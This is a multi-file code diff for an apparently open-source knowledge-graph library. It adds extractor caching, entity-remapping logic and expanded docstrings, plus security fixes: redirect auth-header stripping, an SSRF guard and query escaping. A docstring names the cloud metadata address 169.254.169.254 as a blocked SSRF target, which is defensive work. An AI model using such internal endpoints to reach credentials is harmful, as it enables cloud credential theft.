||||
and new_parsed.port in default_port
|
||||
):
|
||||
return False
|
||||
|
||||
return changed_port or changed_scheme
|
||||
|
||||
_dns_executor: Optional[concurrent.futures.ThreadPoolExecutor] = None
|
||||
_dns_executor_lock = threading.Lock()
|
||||
|
||||
@@ -276,6 +316,16 @@ def request_with_ssrf_guard(
|
||||
next_url = urljoin(current_url, str(location).strip())
|
||||
validate_url_for_request(next_url, allow_private_ips=allow_private_ips)
|
||||
|
||||
# Do not leak sensitive headers to a different origin on redirects:
|
||||
# reuse the caller's headers only while host, port, and scheme keep
|
||||
# the credential safe, mirroring requests' should_strip_auth.
|
||||
if _should_strip_auth(current_url, next_url):
|
||||
kwargs = dict(kwargs)
|
||||
headers = dict(kwargs.get("headers") or {})
|
||||
for sensitive in ("Authorization", "Proxy-Authorization"):
|
||||
headers.pop(sensitive, None)
|
||||
kwargs["headers"] = headers
|
||||
|
||||
# Match requests' historical method rewriting for 301/302/303.
|
||||
if (
|
||||
response.status_code in _STRIP_BODY_ON_REDIRECT
|
||||
|
||||
+289
-59
@@ -16,14 +16,14 @@ Key Features:
|
||||
Example Usage:
|
||||
>>> from semantica.kg import GraphBuilder
|
||||
>>> builder = GraphBuilder(merge_entities=True, resolve_conflicts=True)
|
||||
>>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}])
|
||||
>>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}]) # doctest: +SKIP
|
||||
|
||||
Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from datetime import datetime
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
from typing import Any, Dict, List, Optional, Tuple, Union
|
||||
import time
|
||||
|
||||
|
||||
@@ -90,6 +90,18 @@ class GraphBuilder:
|
||||
self.version_snapshots = version_snapshots
|
||||
self.graph_store = graph_store
|
||||
self.config = kwargs # Store additional config for extractors
|
||||
# Extractors are reused across texts: NERExtractor loads its spaCy model
|
||||
# eagerly in __init__, so constructing one per text would reload the
|
||||
# model on every source in a multi-document build.
|
||||
self._extractor_cache: Dict[Tuple[str, Any], Any] = {}
|
||||
# build() resets these per run; seed them here so _extract_from_text
|
||||
# is usable on its own instead of raising an AttributeError that the
|
||||
# broad except in the extraction path silently swallows.
|
||||
self._extraction_stats: Dict[str, int] = {
|
||||
"extracted_entities": 0,
|
||||
"extracted_relations": 0,
|
||||
"extracted_triplets": 0,
|
||||
}
|
||||
|
||||
# Initialize logging
|
||||
from ..utils.logging import get_logger
|
||||
@@ -228,6 +240,99 @@ class GraphBuilder:
|
||||
# Unknown type
|
||||
pass
|
||||
|
||||
def _get_extractor(
|
||||
self, kind: str, extractor_cls, method: Union[str, List[str]]
|
||||
):
|
||||
"""Return a cached extractor for this method, building it on first use.
|
||||
|
||||
Extractors hold no per-text state but are expensive to construct —
|
||||
``NERExtractor(method="ml")`` loads a spaCy model in ``__init__``.
|
||||
Keying on kind and method is enough because ``self.config`` is fixed
|
||||
for the lifetime of the builder.
|
||||
|
||||
Args:
|
||||
kind: Extractor role, one of ``"ner"``, ``"relation"``, ``"triplet"``.
|
||||
extractor_cls: Extractor class to construct on a cache miss.
|
||||
method: A method name, or a list of them for fallback ordering.
|
||||
Lists are converted to tuples for the cache key only; the
|
||||
extractor still receives the original value.
|
||||
"""
|
||||
key = (kind, tuple(method) if isinstance(method, list) else method)
|
||||
if key not in self._extractor_cache:
|
||||
self._extractor_cache[key] = extractor_cls(method=method, **self.config)
|
||||
return self._extractor_cache[key]
|
||||
|
||||
def _remap_relationship_endpoints(
|
||||
self,
|
||||
entities: List[Dict[str, Any]],
|
||||
relationships: List[Dict[str, Any]],
|
||||
) -> int:
|
||||
"""Rewrite relationship endpoints after entity resolution.
|
||||
|
||||
Entity merging keeps the canonical entity ID and records the IDs of all
|
||||
merged inputs in ``merged_from``. Relationships are collected before
|
||||
resolution, so without this remapping they can continue to reference an
|
||||
entity that is no longer present in the graph.
|
||||
|
||||
Returns:
|
||||
The number of relationship endpoints that were remapped.
|
||||
"""
|
||||
endpoint_map: Dict[Any, Any] = {}
|
||||
|
||||
for entity in entities:
|
||||
if not isinstance(entity, dict):
|
||||
continue
|
||||
|
||||
canonical_id = entity.get("id")
|
||||
if canonical_id is None:
|
||||
canonical_id = entity.get("entity_id")
|
||||
if canonical_id is None:
|
||||
continue
|
||||
|
||||
# Keep canonical IDs stable and map every source ID retained by the
|
||||
# merge operation to the surviving entity.
|
||||
try:
|
||||
endpoint_map[canonical_id] = canonical_id
|
||||
except TypeError:
|
||||
# Invalid/unhashable IDs are left for graph validation to report
|
||||
# rather than making graph construction fail here.
|
||||
continue
|
||||
|
||||
merged_from = entity.get("merged_from") or []
|
||||
if isinstance(merged_from, (list, tuple, set)):
|
||||
for source_id in merged_from:
|
||||
if source_id is not None:
|
||||
try:
|
||||
endpoint_map[source_id] = canonical_id
|
||||
except TypeError:
|
||||
# Skip invalid aliases while preserving valid ones.
|
||||
continue
|
||||
|
||||
remapped_count = 0
|
||||
for relationship in relationships:
|
||||
if not isinstance(relationship, dict):
|
||||
continue
|
||||
|
||||
for endpoint in ("source", "target"):
|
||||
endpoint_id = relationship.get(endpoint)
|
||||
try:
|
||||
canonical_id = endpoint_map.get(endpoint_id)
|
||||
except TypeError:
|
||||
# Invalid/unhashable endpoints are left for graph validation
|
||||
# to report rather than making graph construction fail here.
|
||||
continue
|
||||
|
||||
if canonical_id is not None and canonical_id != endpoint_id:
|
||||
relationship[endpoint] = canonical_id
|
||||
remapped_count += 1
|
||||
|
||||
if remapped_count:
|
||||
self.logger.info(
|
||||
"Remapped %d relationship endpoint(s) after entity resolution",
|
||||
remapped_count,
|
||||
)
|
||||
return remapped_count
|
||||
|
||||
def _extract_from_text(self, text: str, all_entities: List[Any], all_relationships: List[Any], **options):
|
||||
"""Helper to extract knowledge from text using configured methods."""
|
||||
if not options.get("extract", True):
|
||||
@@ -237,15 +342,17 @@ class GraphBuilder:
|
||||
from ..semantic_extract.relation_extractor import RelationExtractor
|
||||
from ..semantic_extract.triplet_extractor import TripletExtractor
|
||||
|
||||
# Default to LLM methods as per requirement
|
||||
ner_method = options.get("ner_method", "llm")
|
||||
relation_method = options.get("relation_method", "llm")
|
||||
triplet_method = options.get("triplet_method", "llm")
|
||||
# Local extractors by default — raw-text build() must not require a
|
||||
# provider, API key, or network access. Pass ner_method="llm" (and the
|
||||
# relation/triplet equivalents) to opt into LLM extraction.
|
||||
ner_method = options.get("ner_method", "ml")
|
||||
relation_method = options.get("relation_method", "pattern")
|
||||
triplet_method = options.get("triplet_method", "pattern")
|
||||
|
||||
self.logger.info(f"Extracting knowledge from text ({len(text)} chars) using {ner_method}...")
|
||||
|
||||
# 1. Extract Entities
|
||||
ner = NERExtractor(method=ner_method, **self.config)
|
||||
ner = self._get_extractor("ner", NERExtractor, ner_method)
|
||||
try:
|
||||
entities = ner.extract_entities(text, **options)
|
||||
extracted_count = len(entities)
|
||||
@@ -258,8 +365,16 @@ class GraphBuilder:
|
||||
entities = []
|
||||
|
||||
# 2. Extract Relations (if requested)
|
||||
if options.get("extract_relations", True):
|
||||
rel_extractor = RelationExtractor(method=relation_method, **self.config)
|
||||
# Stays None when relation extraction is skipped or fails, which lets
|
||||
# TripletExtractor derive its own relations as before. When we do have
|
||||
# them, they are forwarded below so triplets reuse the relations
|
||||
# extracted with relation_method rather than re-deriving via
|
||||
# triplet_method.
|
||||
relations = None
|
||||
if options.get("extract_relations", False):
|
||||
rel_extractor = self._get_extractor(
|
||||
"relation", RelationExtractor, relation_method
|
||||
)
|
||||
try:
|
||||
# Pass entities if available to help relation extraction
|
||||
relations = rel_extractor.extract_relations(text, entities=entities, **options)
|
||||
@@ -273,9 +388,13 @@ class GraphBuilder:
|
||||
|
||||
# 3. Extract Triplets (if requested)
|
||||
if options.get("extract_triplets", True):
|
||||
trip_extractor = TripletExtractor(method=triplet_method, **self.config)
|
||||
trip_extractor = self._get_extractor(
|
||||
"triplet", TripletExtractor, triplet_method
|
||||
)
|
||||
try:
|
||||
triplets = trip_extractor.extract_triplets(text, entities=entities, **options)
|
||||
triplets = trip_extractor.extract_triplets(
|
||||
text, entities=entities, relations=relations, **options
|
||||
)
|
||||
extracted_count = len(triplets)
|
||||
self._extraction_stats["extracted_triplets"] += extracted_count
|
||||
self.logger.info(f"Extracted {extracted_count} triplets")
|
||||
@@ -291,21 +410,51 @@ class GraphBuilder:
|
||||
pipeline_id: Optional[str] = None,
|
||||
**options,
|
||||
) -> Dict[str, Any]:
|
||||
"""
|
||||
Build knowledge graph from sources.
|
||||
"""Build a knowledge graph from one or more sources.
|
||||
|
||||
Args:
|
||||
sources: Entities or sources list
|
||||
second_arg: Optional relationships list or entity_resolver (for backward compatibility)
|
||||
pipeline_id: Optional pipeline ID for progress tracking
|
||||
**options: Additional build options
|
||||
- extract: Whether to extract entities from text (default: True)
|
||||
- extract_relations: Whether to extract relations from text (default: False)
|
||||
- ner_method: NER method to use (default: "ml")
|
||||
- triplet_method: Triplet extraction method (default: "pattern")
|
||||
sources: A source or list of sources. Sources may be text,
|
||||
pre-extracted objects, or dictionaries containing ``entities``
|
||||
and ``relationships``.
|
||||
second_arg: An optional relationship list or entity resolver kept
|
||||
for backward compatibility.
|
||||
pipeline_id: Optional pipeline identifier used for progress
|
||||
tracking.
|
||||
**options: Additional graph-building options:
|
||||
|
||||
- ``extract`` (bool): Whether to run text extraction when a
|
||||
raw string or ``{"text": ...}`` dict is passed as a source
|
||||
(default: ``True``).
|
||||
- ``extract_relations`` (bool): Whether to extract relations
|
||||
during text extraction (default: ``False``).
|
||||
- ``extract_triplets`` (bool): Whether to extract triplets
|
||||
during text extraction (default: ``True``).
|
||||
- ``ner_method`` (str): NER backend used for text extraction
|
||||
(e.g. ``"ml"``, ``"pattern"``, ``"llm"``; default: ``"ml"``).
|
||||
- ``relation_method`` (str): Relation-extraction backend
|
||||
(e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
|
||||
- ``triplet_method`` (str): Triplet-extraction backend
|
||||
(e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
|
||||
- ``entity_resolver``: An :class:`EntityResolver` instance
|
||||
that overrides the one configured on the builder.
|
||||
- ``relationships`` (list): An explicit list of relationships
|
||||
to include in addition to those found in *sources*.
|
||||
|
||||
Raw-text extraction uses local extractors by default and needs no
|
||||
provider or API key. To use LLM extraction, pass the methods
|
||||
explicitly, e.g. ``ner_method="llm"``.
|
||||
|
||||
Returns:
|
||||
Dictionary containing entities and relationships
|
||||
A dictionary containing the graph's ``entities``,
|
||||
``relationships``, and build ``metadata``.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.build( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []}
|
||||
... )
|
||||
>>> graph["metadata"]["num_entities"] # doctest: +SKIP
|
||||
1
|
||||
"""
|
||||
# Handle arguments
|
||||
entity_resolver = None
|
||||
@@ -607,6 +756,16 @@ class GraphBuilder:
|
||||
f"Entity resolution complete: {len(all_entities)} -> {len(resolved_entities)} unique entities"
|
||||
)
|
||||
|
||||
# Relationships were collected before entity resolution. Rewrite
|
||||
# endpoints only when resolution produced merged entity IDs.
|
||||
if resolver_to_use:
|
||||
has_merged_entities = any(
|
||||
isinstance(entity, dict) and entity.get("merged_from")
|
||||
for entity in resolved_entities
|
||||
)
|
||||
if has_merged_entities:
|
||||
self._remap_relationship_endpoints(resolved_entities, all_relationships)
|
||||
|
||||
if input_relationships_count > 0 and len(all_relationships) == 0:
|
||||
warning_msg = (
|
||||
f"All relationships were dropped during graph building: "
|
||||
@@ -730,6 +889,26 @@ class GraphBuilder:
|
||||
pipeline_id: Optional[str] = None,
|
||||
**options,
|
||||
) -> Dict[str, Any]:
|
||||
"""Build a knowledge graph from a single source dictionary.
|
||||
|
||||
Args:
|
||||
kg_data: Source data containing entities, relationships, or both.
|
||||
pipeline_id: Optional pipeline identifier used for progress
|
||||
tracking.
|
||||
**options: Additional options forwarded to :meth:`build`.
|
||||
|
||||
Returns:
|
||||
A dictionary containing the graph's ``entities``,
|
||||
``relationships``, and build ``metadata``.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.build_single_source( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []}
|
||||
... )
|
||||
>>> len(graph["entities"]) # doctest: +SKIP
|
||||
1
|
||||
"""
|
||||
return self.build(kg_data, pipeline_id=pipeline_id, **options)
|
||||
|
||||
def add_temporal_edge(
|
||||
@@ -743,21 +922,33 @@ class GraphBuilder:
|
||||
temporal_metadata=None,
|
||||
**kwargs,
|
||||
):
|
||||
"""
|
||||
Add edge with temporal validity information.
|
||||
"""Add an edge with temporal validity information to a graph.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to add edge to
|
||||
source: Source entity/node
|
||||
target: Target entity/node
|
||||
relationship: Relationship type
|
||||
valid_from: Start time for relationship validity (datetime, timestamp, or ISO string)
|
||||
valid_until: End time for relationship validity (None for ongoing)
|
||||
temporal_metadata: Additional temporal metadata (timezone, precision, etc.)
|
||||
**kwargs: Additional edge properties
|
||||
graph: Mutable knowledge-graph dictionary to update.
|
||||
source: Identifier of the source entity or node.
|
||||
target: Identifier of the target entity or node.
|
||||
relationship: Relationship type for the edge.
|
||||
valid_from: Start of the validity period. Accepts a datetime or
|
||||
ISO-formatted string; defaults to the current time.
|
||||
valid_until: End of the validity period, or ``None`` for an
|
||||
ongoing relationship.
|
||||
temporal_metadata: Optional metadata such as timezone or
|
||||
precision information.
|
||||
**kwargs: Additional properties to include on the edge.
|
||||
|
||||
Returns:
|
||||
Edge object with temporal annotations
|
||||
The temporal edge dictionary appended to the graph's
|
||||
``relationships`` list.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = {"entities": [], "relationships": []}
|
||||
>>> edge = builder.add_temporal_edge( # doctest: +SKIP
|
||||
... graph, "ada", "analytical-engine", "DESIGNED"
|
||||
... )
|
||||
>>> edge["type"] # doctest: +SKIP
|
||||
'DESIGNED'
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -806,17 +997,29 @@ class GraphBuilder:
|
||||
def create_temporal_snapshot(
|
||||
self, graph, timestamp=None, snapshot_name=None, **options
|
||||
):
|
||||
"""
|
||||
Create temporal snapshot of graph at specific time point.
|
||||
"""Create a snapshot of a graph at a specific point in time.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to snapshot
|
||||
timestamp: Time point for snapshot (None for current time)
|
||||
snapshot_name: Optional name for snapshot
|
||||
**options: Additional snapshot options
|
||||
graph: Knowledge graph whose entities and relationships will be
|
||||
copied into the snapshot.
|
||||
timestamp: Snapshot time, or ``None`` to use the current time.
|
||||
snapshot_name: Optional human-readable snapshot name.
|
||||
**options: Additional snapshot options reserved for extensions.
|
||||
|
||||
Returns:
|
||||
Temporal snapshot object
|
||||
A snapshot dictionary containing the name, timestamp, all copied
|
||||
entities, relationships valid at the timestamp, and summary
|
||||
metadata.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> snapshot = builder.create_temporal_snapshot( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []},
|
||||
... timestamp="2026-01-01T00:00:00",
|
||||
... snapshot_name="new-year",
|
||||
... )
|
||||
>>> snapshot["name"] # doctest: +SKIP
|
||||
'new-year'
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -897,19 +1100,32 @@ class GraphBuilder:
|
||||
temporal_window=None,
|
||||
**options,
|
||||
):
|
||||
"""
|
||||
Query graph at specific time point or time range.
|
||||
"""Query a graph at a specific time or over a time range.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to query
|
||||
query: Query (Cypher, SPARQL, or natural language)
|
||||
at_time: Query at specific time point
|
||||
time_range: Query within time range (start, end)
|
||||
temporal_window: Temporal window size
|
||||
**options: Additional query options
|
||||
graph: Knowledge graph to query.
|
||||
query: Query text to record in the result. The current
|
||||
implementation does not interpret it or filter the graph.
|
||||
at_time: Optional point in time at which to query the graph.
|
||||
time_range: Optional ``(start, end)`` time range. The graph is
|
||||
evaluated at the end of the range.
|
||||
temporal_window: Optional temporal-window value reserved for
|
||||
query-engine integrations.
|
||||
**options: Additional query options reserved for extensions.
|
||||
|
||||
Returns:
|
||||
Query results with temporal context
|
||||
A dictionary containing the query, temporal context, entities and
|
||||
relationships from the selected graph or snapshot, and graph
|
||||
metadata.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> result = builder.query_temporal( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []},
|
||||
... "MATCH (n) RETURN n",
|
||||
... )
|
||||
>>> result["entities"][0]["id"] # doctest: +SKIP
|
||||
'ada'
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -972,20 +1188,34 @@ class GraphBuilder:
|
||||
temporal_property="valid_time",
|
||||
**kwargs,
|
||||
):
|
||||
"""
|
||||
Load graph from Neo4j database.
|
||||
"""Load a knowledge graph from a Neo4j database.
|
||||
|
||||
Args:
|
||||
uri: Neo4j connection URI
|
||||
username: Neo4j username
|
||||
password: Neo4j password
|
||||
database: Neo4j database name
|
||||
enable_temporal: Enable temporal features for loaded graph
|
||||
temporal_property: Property name for temporal data
|
||||
**kwargs: Additional connection options
|
||||
uri: Neo4j connection URI.
|
||||
username: Neo4j username.
|
||||
password:
|
||||
Authentication credential supplied for the Neo4j user.
|
||||
database: Neo4j database name.
|
||||
enable_temporal: Whether to read temporal relationship data.
|
||||
temporal_property: Relationship property containing temporal
|
||||
data.
|
||||
**kwargs: Additional connection options reserved for extensions.
|
||||
|
||||
Returns:
|
||||
Knowledge graph loaded from Neo4j
|
||||
A dictionary containing loaded entities, relationships, and
|
||||
source metadata.
|
||||
|
||||
Raises:
|
||||
ImportError: If the Neo4j driver is unavailable.
|
||||
|
||||
Example:
|
||||
>>> import os
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.load_from_neo4j( # doctest: +SKIP
|
||||
... "bolt://localhost:7687",
|
||||
... "neo4j",
|
||||
... os.environ["NEO4J_PASSWORD"],
|
||||
... )
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
|
||||
@@ -45,14 +45,16 @@ import json
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
from typing import Any
|
||||
|
||||
try:
|
||||
_SEMANTICA_VERSION = version("semantica")
|
||||
except PackageNotFoundError:
|
||||
# Preserve direct source-tree execution when distribution metadata is absent.
|
||||
from semantica import __version__ as _SEMANTICA_VERSION
|
||||
# `semantica.__version__` is the authoritative package version — it is kept in
|
||||
# sync with pyproject.toml's static `version` field by the release process and
|
||||
# is always present whenever this submodule is importable. Using it directly
|
||||
# is simpler and more reliable than `importlib.metadata.version("semantica")`,
|
||||
# which reads dist-info written at install time and can lag the source in
|
||||
# editable installs (egg-info / dist-info is not regenerated on every version
|
||||
# bump, so it can reflect a stale value).
|
||||
from semantica import __version__ as _SEMANTICA_VERSION
|
||||
|
||||
# ── logging ────────────────────────────────────────────────────────────────
|
||||
_log_level = getattr(logging, os.environ.get("SEMANTICA_LOG_LEVEL", "WARNING").upper(), logging.WARNING)
|
||||
|
||||
@@ -43,6 +43,7 @@ from ..utils.helpers import read_json_file, write_json_file
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from ..utils.types import EntityDict, RelationshipDict
|
||||
from ..ingest.ssrf import parse_bool, request_with_ssrf_guard
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -453,6 +454,13 @@ class SeedDataManager:
|
||||
'entities', 'data', 'results', 'items' keys). Automatically adds
|
||||
entity_type, relationship_type, and source metadata if provided.
|
||||
|
||||
SSRF protection is enabled by default: URLs resolving to private,
|
||||
loopback, link-local (including cloud metadata endpoints such as
|
||||
169.254.169.254), or other blocked addresses are rejected, and every
|
||||
redirect hop is re-validated before being followed. For trusted
|
||||
internal deployments, pass ``allow_private_ips=True`` in the manager
|
||||
config to opt in (documented for internal use only).
|
||||
|
||||
Args:
|
||||
api_url: Base API URL
|
||||
endpoint: Optional API endpoint path (appended to api_url)
|
||||
@@ -491,8 +499,20 @@ class SeedDataManager:
|
||||
if api_key:
|
||||
request_headers["Authorization"] = f"Bearer {api_key}"
|
||||
|
||||
# Make API request
|
||||
response = requests.get(full_url, headers=request_headers, timeout=30)
|
||||
# SSRF guard: reject private/loopback/link-local targets by default.
|
||||
# Trusted internal deployments can opt in via config
|
||||
# (allow_private_ips=True) — see issue #943.
|
||||
allow_private = parse_bool(self.config.get("allow_private_ips", False))
|
||||
|
||||
# Make API request (request_with_ssrf_guard validates the URL and
|
||||
# every redirect before each hop)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
full_url,
|
||||
headers=request_headers,
|
||||
timeout=30,
|
||||
allow_private_ips=allow_private,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse response
|
||||
|
||||
@@ -490,6 +490,42 @@ class FAISSStore:
|
||||
return self.index.get_metadata(vector_id)
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter stored vectors by metadata.
|
||||
|
||||
Args:
|
||||
filters: Metadata filter criteria
|
||||
limit: Maximum number of results
|
||||
|
||||
Returns:
|
||||
List of matching result dicts with 'id', 'metadata', and 'vector'
|
||||
"""
|
||||
if self.index is None or not hasattr(self.index, "metadata"):
|
||||
return []
|
||||
|
||||
from .vector_store import _matches_filter
|
||||
|
||||
if limit <= 0:
|
||||
return []
|
||||
|
||||
results = []
|
||||
for vector_id, metadata in self.index.metadata.items():
|
||||
if _matches_filter(metadata, filters):
|
||||
results.append(
|
||||
{
|
||||
"id": vector_id,
|
||||
"metadata": metadata,
|
||||
"vector": self.get_vector(vector_id),
|
||||
}
|
||||
)
|
||||
if len(results) >= limit:
|
||||
break
|
||||
|
||||
return results
|
||||
|
||||
def get_stats(self) -> Dict[str, Any]:
|
||||
"""Get index statistics."""
|
||||
if self.index is None:
|
||||
@@ -501,3 +537,15 @@ class FAISSStore:
|
||||
"vector_count": len(self.index.vector_ids),
|
||||
"faiss_available": FAISS_AVAILABLE,
|
||||
}
|
||||
|
||||
def count(self) -> int:
|
||||
"""Return the number of vectors currently tracked in this store.
|
||||
|
||||
Returns the length of the ``vector_ids`` list maintained by
|
||||
``FAISSIndex``. FAISSStore does not implement vector deletion, so
|
||||
this list is strictly append-only and is always consistent with the
|
||||
underlying FAISS index (``index.ntotal``).
|
||||
"""
|
||||
if self.index is None:
|
||||
return 0
|
||||
return len(self.index.vector_ids)
|
||||
|
||||
@@ -35,6 +35,8 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
import math
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
import numpy as np
|
||||
@@ -43,6 +45,45 @@ from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
|
||||
def _validate_milvus_key(key: str) -> str:
|
||||
"""Validate and escape a metadata filter key for Milvus queries."""
|
||||
if not key or not isinstance(key, str) or not re.match(r"^[a-zA-Z0-9_.-]+$", key):
|
||||
raise ValidationError(f"Invalid metadata filter key: '{key}'")
|
||||
return key.replace("\\", "\\\\").replace('"', '\\"')
|
||||
|
||||
|
||||
def _format_milvus_value(val: Any) -> str:
|
||||
"""Format and escape a filter value for Milvus expression syntax."""
|
||||
if isinstance(val, bool):
|
||||
return "true" if val else "false"
|
||||
elif isinstance(val, (int, float)):
|
||||
if isinstance(val, float) and not math.isfinite(val):
|
||||
raise ValidationError(
|
||||
f"Invalid metadata filter value: {val!r}. NaN/Infinity are not "
|
||||
"valid Milvus expression literals."
|
||||
)
|
||||
return str(val)
|
||||
elif isinstance(val, str):
|
||||
escaped = (
|
||||
val.replace("\\", "\\\\")
|
||||
.replace('"', '\\"')
|
||||
.replace("\n", "\\n")
|
||||
.replace("\r", "\\r")
|
||||
)
|
||||
return f'"{escaped}"'
|
||||
elif val is None:
|
||||
return "null"
|
||||
else:
|
||||
escaped = (
|
||||
str(val)
|
||||
.replace("\\", "\\\\")
|
||||
.replace('"', '\\"')
|
||||
.replace("\n", "\\n")
|
||||
.replace("\r", "\\r")
|
||||
)
|
||||
return f'"{escaped}"'
|
||||
|
||||
# Optional Milvus import
|
||||
try:
|
||||
from pymilvus import (
|
||||
@@ -550,11 +591,11 @@ class MilvusStore:
|
||||
"""Get vector by ID."""
|
||||
if not MILVUS_AVAILABLE or not self.collection:
|
||||
return None
|
||||
|
||||
|
||||
try:
|
||||
safe_id = vector_id.replace('"', '\\"')
|
||||
safe_id = vector_id.replace("\\", "\\\\").replace('"', '\\"')
|
||||
res = self.collection.collection.query(
|
||||
expr=f'id == "{safe_id}"',
|
||||
expr=f'id == "{safe_id}"',
|
||||
output_fields=["vector"]
|
||||
)
|
||||
if res and len(res) > 0:
|
||||
@@ -567,11 +608,11 @@ class MilvusStore:
|
||||
"""Get metadata by ID."""
|
||||
if not MILVUS_AVAILABLE or not self.collection:
|
||||
return None
|
||||
|
||||
|
||||
try:
|
||||
safe_id = vector_id.replace('"', '\\"')
|
||||
safe_id = vector_id.replace("\\", "\\\\").replace('"', '\\"')
|
||||
res = self.collection.collection.query(
|
||||
expr=f'id == "{safe_id}"',
|
||||
expr=f'id == "{safe_id}"',
|
||||
output_fields=["metadata"]
|
||||
)
|
||||
if res and len(res) > 0:
|
||||
@@ -580,6 +621,65 @@ class MilvusStore:
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter vectors by metadata using Milvus expression filtering.
|
||||
|
||||
Args:
|
||||
filters: Metadata filter criteria
|
||||
limit: Maximum number of results
|
||||
|
||||
Returns:
|
||||
List of matching result dicts with 'id', 'metadata', and 'vector'
|
||||
"""
|
||||
if self.collection is None or not MILVUS_AVAILABLE:
|
||||
return []
|
||||
|
||||
expr_parts = []
|
||||
if filters:
|
||||
for key, value in filters.items():
|
||||
safe_key = _validate_milvus_key(key)
|
||||
if isinstance(value, dict):
|
||||
if "min" in value and value["min"] is not None:
|
||||
min_val = _format_milvus_value(value["min"])
|
||||
expr_parts.append(f'metadata["{safe_key}"] >= {min_val}')
|
||||
if "max" in value and value["max"] is not None:
|
||||
max_val = _format_milvus_value(value["max"])
|
||||
expr_parts.append(f'metadata["{safe_key}"] <= {max_val}')
|
||||
elif isinstance(value, list):
|
||||
formatted_vals = [_format_milvus_value(v) for v in value]
|
||||
expr_parts.append(
|
||||
f'metadata["{safe_key}"] in [{", ".join(formatted_vals)}]'
|
||||
)
|
||||
else:
|
||||
formatted_val = _format_milvus_value(value)
|
||||
expr_parts.append(f'metadata["{safe_key}"] == {formatted_val}')
|
||||
|
||||
expr = " and ".join(expr_parts) if expr_parts else "id != ''"
|
||||
|
||||
try:
|
||||
query_results = self.collection.collection.query(
|
||||
expr=expr,
|
||||
limit=limit,
|
||||
output_fields=["id", "vector", "metadata"],
|
||||
)
|
||||
results = []
|
||||
for item in query_results:
|
||||
vec = item.get("vector")
|
||||
results.append(
|
||||
{
|
||||
"id": str(item.get("id")),
|
||||
"metadata": item.get("metadata") or {},
|
||||
"vector": np.array(vec) if vec is not None else None,
|
||||
}
|
||||
)
|
||||
return results
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Failed to query Milvus vectors by metadata expression: {e}")
|
||||
return []
|
||||
|
||||
def get_stats(self, collection_name: Optional[str] = None) -> Dict[str, Any]:
|
||||
"""Get collection statistics."""
|
||||
if self.collection is None and collection_name:
|
||||
|
||||
@@ -63,6 +63,7 @@ except (ImportError, OSError):
|
||||
except (ImportError, OSError):
|
||||
PSYCOPG2_AVAILABLE = False
|
||||
psycopg2 = None
|
||||
psycopg_sql = None
|
||||
|
||||
# Optional pgvector import
|
||||
try:
|
||||
@@ -655,6 +656,116 @@ class PgVectorStore:
|
||||
self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter stored vectors by metadata using PostgreSQL JSONB queries.
|
||||
|
||||
Args:
|
||||
filters: Dictionary of metadata filter conditions
|
||||
limit: Maximum number of results
|
||||
|
||||
Returns:
|
||||
List of results containing id, metadata, and vector
|
||||
"""
|
||||
if not PSYCOPG3_AVAILABLE and not PSYCOPG2_AVAILABLE:
|
||||
raise ProcessingError(
|
||||
"Neither psycopg3 nor psycopg2 is available. "
|
||||
"Install with: pip install psycopg[binary] or psycopg2-binary"
|
||||
)
|
||||
|
||||
filter_conditions = []
|
||||
filter_values = []
|
||||
|
||||
if filters:
|
||||
for key, value in filters.items():
|
||||
if not self._is_safe_identifier(key):
|
||||
raise ValidationError(
|
||||
f"Invalid filter key: {key!r}. "
|
||||
"Keys must be alphanumeric with underscores/hyphens only."
|
||||
)
|
||||
